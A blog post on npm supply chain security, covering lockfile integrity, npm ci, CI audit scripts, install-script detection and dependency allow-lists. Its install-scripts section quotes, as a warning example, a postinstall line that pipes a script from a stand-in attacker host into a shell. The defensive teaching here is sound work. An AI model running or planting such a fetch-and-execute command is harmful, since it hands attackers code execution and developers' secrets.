Skip to content

Supply Chain Security for npm Packages

How to protect JavaScript projects from supply chain attacks: dependency auditing, lockfile integrity, typosquatting detection and CI vulnerability scans.

4 min read
Dependency tree diagram with highlighted vulnerable packages in a supply chain

Every npm install you run is an act of trust. You are downloading code written by strangers, executing their install scripts, and incorporating their logic into your application. The average JavaScript project has hundreds of transitive dependencies. If any one of them is compromised, your application — and your users — are at risk.

Supply chain attacks on npm are not theoretical. The event-stream incident (2018) injected cryptocurrency-stealing code into a package with millions of weekly downloads. The ua-parser-js compromise (2021) deployed cryptominers to millions of machines. The colors and faker sabotage (2022) broke thousands of projects overnight.

Understanding the Attack Surface

The npm supply chain has multiple points where an attacker can inject malicious code. Understanding each vector is the first step toward defense.

tstypescript
// The layers of trust in a single npm install
interface SupplyChainAttackVectors {
  // Direct dependency compromise
  directDependency: {
    vector: 'Maintainer account takeover';
    example: 'Attacker gains npm credentials and publishes malicious version';
    mitigation: 'Use lockfiles, enable 2FA, audit maintainers';
  };
 
  // Typosquatting
  typosquatting: {
    vector: 'Package with a similar name to a popular package';
    example: '"lodahs" instead of "lodash"';
    mitigation: 'Review package names carefully, use allow-lists';
  };
 
  // Dependency confusion
  dependencyConfusion: {
    vector: 'Public package with same name as private internal package';
    example: 'npm resolves to public registry instead of private one';
    mitigation: 'Use scoped packages, configure registry mappings';
  };
 
  // Install scripts
  installScripts: {
    vector: 'postinstall/preinstall scripts that execute arbitrary code';
    example: 'Script runs on install, exfiltrates env variables';
    mitigation: 'Use --ignore-scripts, audit scripts before installing';
  };
 
  // Transitive dependencies
  transitive: {
    vector: 'Vulnerability in a dependency of a dependency';
    example: 'Your dep uses a compromised sub-dep you never chose';
    mitigation: 'Deep auditing, lockfile pinning, review transitive tree';
  };
}

Lockfile Integrity

The lockfile (package-lock.json or yarn.lock) pins exact versions and integrity hashes for every dependency. Without it, npm install resolves to whatever version matches the semver range at install time — which may include a compromised release.

jsonjson
// package-lock.json entry with integrity hash
{
  "node_modules/lodash": {
    "version": "4.17.21",
    "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
    "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
  }
}
shbash
# ❌ Installing without lockfile verification
npm install                    # Resolves latest matching versions
                               # Could pull a newly-published malicious version
 
# ✅ Installing with lockfile enforcement
npm ci                         # Uses exact versions from lockfile
                               # Fails if lockfile doesn't match package.json
                               # Verifies integrity hashes
tstypescript
// CI pipeline: always use npm ci, never npm install
// .github/workflows/ci.yml equivalent in code
const ciInstallStep = {
  name: 'Install dependencies',
  run: 'npm ci',              // Strict lockfile-based install
  // NOT 'npm install' — that can modify the lockfile
};
 
// Additional lockfile checks
const lockfileAudit = {
  name: 'Verify lockfile integrity',
  steps: [
    'npm ci',                                   // Fails on mismatch
    'git diff --exit-code package-lock.json',   // Ensure no modifications
  ],
};

Automated Vulnerability Scanning

npm audit checks installed packages against the npm advisory database. Integrating it into CI catches known vulnerabilities before they reach production.

tstypescript
// Script to run npm audit and parse results programmatically
import { execSync } from 'child_process';
 
interface AuditResult {
  vulnerabilities: Record<string, {
    severity: 'info' | 'low' | 'moderate' | 'high' | 'critical';
    via: string[];
    fixAvailable: boolean;
  }>;
  metadata: {
    vulnerabilities: {
      info: number;
      low: number;
      moderate: number;
      high: number;
      critical: number;
      total: number;
    };
  };
}
 
function runSecurityAudit(): AuditResult {
  try {
    const output = execSync('npm audit --json', {
      encoding: 'utf-8',
    });
    return JSON.parse(output);
  } catch (error: unknown) {
    // npm audit exits with non-zero when vulnerabilities are found
    const execError = error as { stdout: string };
    return JSON.parse(execError.stdout);
  }
}
 
function enforceSecurityPolicy(audit: AuditResult): void {
  const { critical, high } = audit.metadata.vulnerabilities;
 
  // Block deployment on critical or high vulnerabilities
  if (critical > 0) {
    throw new Error(
      `BLOCKED: ${critical} critical vulnerabilities found. Run 'npm audit fix' or review advisories.`
    );
  }
 
  if (high > 0) {
    console.warn(
      `WARNING: ${high} high-severity vulnerabilities found. Review before deploying.`
    );
  }
 
  console.log('Security audit passed');
}
 
const audit = runSecurityAudit();
enforceSecurityPolicy(audit);

Reviewing Install Scripts

The postinstall and preinstall hooks are the most dangerous attack surface in npm. They execute arbitrary code during installation — before your application even runs.

tstypescript
// ❌ Blindly trusting install scripts
// Someone runs: npm install some-package
// That package's postinstall script:
//   curl attacker.com/steal.sh | sh
// Now the attacker has your environment variables, ssh keys, etc.
 
// ✅ Audit install scripts before installing new packages
// Step 1: Check what scripts a package runs
// npm pack some-package && tar -xzf some-package-*.tgz
// cat package/package.json | jq '.scripts'
 
// Step 2: Install with scripts disabled for untrusted packages
// npm install --ignore-scripts some-package
 
// Step 3: If the package needs install scripts, review them first
// npm explore some-package -- cat postinstall.sh
tstypescript
// Automated install script detection in CI
import { readFileSync, readdirSync } from 'fs';
import { join } from 'path';
 
interface PackageScripts {
  packageName: string;
  preinstall?: string;
  install?: string;
  postinstall?: string;
  prepare?: string;
}
 
function findPackagesWithInstallScripts(
  nodeModulesPath: string
): PackageScripts[] {
  const results: PackageScripts[] = [];
  const dirs = readdirSync(nodeModulesPath, { withFileTypes: true });
 
  for (const dir of dirs) {
    if (!dir.isDirectory() || dir.name.startsWith('.')) continue;
 
    const pkgPath = join(nodeModulesPath, dir.name, 'package.json');
    try {
      const pkg = JSON.parse(readFileSync(pkgPath, 'utf-8'));
      const scripts = pkg.scripts ?? {};
 
      if (scripts.preinstall || scripts.install || scripts.postinstall) {
        results.push({
          packageName: pkg.name,
          preinstall: scripts.preinstall,
          install: scripts.install,
          postinstall: scripts.postinstall,
          prepare: scripts.prepare,
        });
      }
    } catch {
      // Skip unreadable packages
    }
  }
 
  return results;
}
 
// Log all packages with install scripts for review
const risky = findPackagesWithInstallScripts('./node_modules');
console.log(`Found ${risky.length} packages with install scripts:`);
for (const pkg of risky) {
  console.log(`  ${pkg.packageName}:`);
  if (pkg.preinstall) console.log(`    preinstall: ${pkg.preinstall}`);
  if (pkg.postinstall) console.log(`    postinstall: ${pkg.postinstall}`);
}

Dependency Allow-Lists and Governance

For production applications, consider maintaining an explicit list of approved dependencies. New packages require a review process before being added.

tstypescript
// .allowed-dependencies.json — checked in CI
interface DependencyPolicy {
  // Only these packages are allowed as direct dependencies
  allowedDirect: Record<string, {
    maxVersion: string;
    reason: string;
    approvedBy: string;
    approvedDate: string;
  }>;
 
  // Packages that are explicitly banned
  banned: Record<string, {
    reason: string;
    alternative: string;
  }>;
}
 
const policy: DependencyPolicy = {
  allowedDirect: {
    'express': {
      maxVersion: '4.x',
      reason: 'HTTP server framework',
      approvedBy: 'security-team',
      approvedDate: '2022-01-15',
    },
    'zod': {
      maxVersion: '3.x',
      reason: 'Runtime schema validation',
      approvedBy: 'security-team',
      approvedDate: '2022-02-01',
    },
  },
  banned: {
    'request': {
      reason: 'Deprecated, known vulnerabilities',
      alternative: 'Use node-fetch or undici',
    },
  },
};

Key Takeaways

  1. Use npm ci in CI, never npm install — lockfile-based installation prevents version drift and verifies integrity hashes
  2. Run npm audit in every build — block deployments on critical vulnerabilities and review high-severity ones
  3. Audit install scripts — use --ignore-scripts for untrusted packages and review what scripts execute during installation
  4. Watch for typosquatting — verify package names carefully, especially for popular packages with common misspellings
  5. Maintain dependency governance — allow-lists and review processes catch risky additions before they enter the codebase
  6. Pin transitive dependencies — lockfiles protect against compromised sub-dependencies that you never explicitly chose
Wilfredo Rujel

Wilfredo Rujel

Full Stack Software Engineer

Share this postX